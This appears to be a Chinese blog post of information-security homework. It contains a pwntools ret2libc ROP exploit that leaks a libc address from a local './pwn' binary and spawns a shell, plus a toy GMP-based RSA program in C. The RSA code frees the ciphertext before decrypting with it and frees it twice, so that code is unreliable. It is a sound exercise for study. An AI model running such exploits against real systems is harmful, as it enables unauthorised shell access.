信息安全

作业

ROP

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = 'debug')
p = process('./pwn')
e = ELF('./pwn')
p.recv()
payload1 = flat(['a' * 0x20, e.plt['puts'], 0x0804859F, e.got['puts']])
p.sendline(payload1)
length = len(payload1)
puts_addr = u32(p.recv()[length+1:length+5])
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
p.sendline(flat(['a' * 0x1c, 'b' * 0x4, libcbase + libc.dump('system'), 0xdeadbeef, libcbase + libc.dump('str_bin_sh')]))
p.interactive()

RSA

#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
// windows库,用于生成高质量随机数
#include <Windows.h> 
#include <wincrypt.h>
// gmp库 用于大数字的计算
#include "gmp.h"

#define BigInteger mpz_t // gmp变量,用BigInteger取代
#define Let mpz_init_set_str // 初始化gmp变量并赋值
#define Val mpz_init // 初始化gmp变量
#define Del mpz_clear // 释放gmp变量
#define Dump(x) gmp_printf(#x" => %Zx\n\n", x) // 打印变量x
#define TipDump(n, x) gmp_printf(#n" => %Zx\n\n", x) // 使用其他名称打印变量x
// 打印变量并放在分界符中
#define Line(n) "------------------ "#n" ------------------\n"
#define KeyDump(n, a, b) gmp_printf(Line(n)"("#a", "#b") => (%Zx, %Zx)\n"Line(n)"\n", a, b)
// 随机生成素数
#define RandomPrime(n, gr, len) Val(n), mpz_urandomb(n, gr, len), mpz_nextprime(n, n)

int main(const int argc, char* argv[])
{
	if (argc != 4) fprintf(stderr, "%s p,q位长 e(hex) 明文(hex)", argv[0]), exit(EXIT_FAILURE);
	const uint32_t len = strtoul(argv[1], &argv[1], 10);
	// 初始化gmp的随机数生成器
	gmp_randstate_t gr;
	gmp_randinit_default(gr);
	// 使用wincrypt生成高质量随机数作为随机种子
	time_t rand = 0;
	HCRYPTPROV rnd;
	const LPCSTR userName = "iriszero";
	CryptAcquireContext(&rnd, userName, NULL, PROV_RSA_FULL, 0)
		? 0 : GetLastError() == NTE_BAD_KEYSET
		? CryptAcquireContext(&rnd, userName, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET) : 0;
	CryptGenRandom(rnd, sizeof(time_t), (BYTE*)&rand);
	CryptReleaseContext(rnd, 0);
	gmp_randseed_ui(gr, rand);
	BigInteger p, q, n, phiN, e, d, m, c, m0; // 初始化所需变量
	RandomPrime(p, gr, len), RandomPrime(q, gr, len), Dump(p), Dump(q); // 随机生成素数p,q
	Val(n), mpz_mul(n, p, q), Dump(n); // 求n
	Val(phiN), mpz_sub_ui(p, p, 1), mpz_sub_ui(q, q, 1), mpz_mul(phiN, p, q), TipDump(phi(n), phiN), Del(p), Del(q); // 求phi(n)
	// 求乘法逆元
	Let(e, argv[2], 16), Dump(e);
	Val(d), mpz_invert(d, e, phiN), Dump(d), Del(phiN);
	// 加密
	Let(m, argv[3], 16), TipDump(明文, m);
	Val(c), mpz_powm(c, m, e, n), TipDump(密文, c), Del(c), Del(m);
	Val(m0), mpz_powm(m0, c, d, n), TipDump(解密, m0), Del(m0), Del(c); // 解密
	KeyDump(公钥, e, n), KeyDump(私钥, d, n), Del(e), Del(n), Del(d); // 输出公钥和私钥
}

 

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注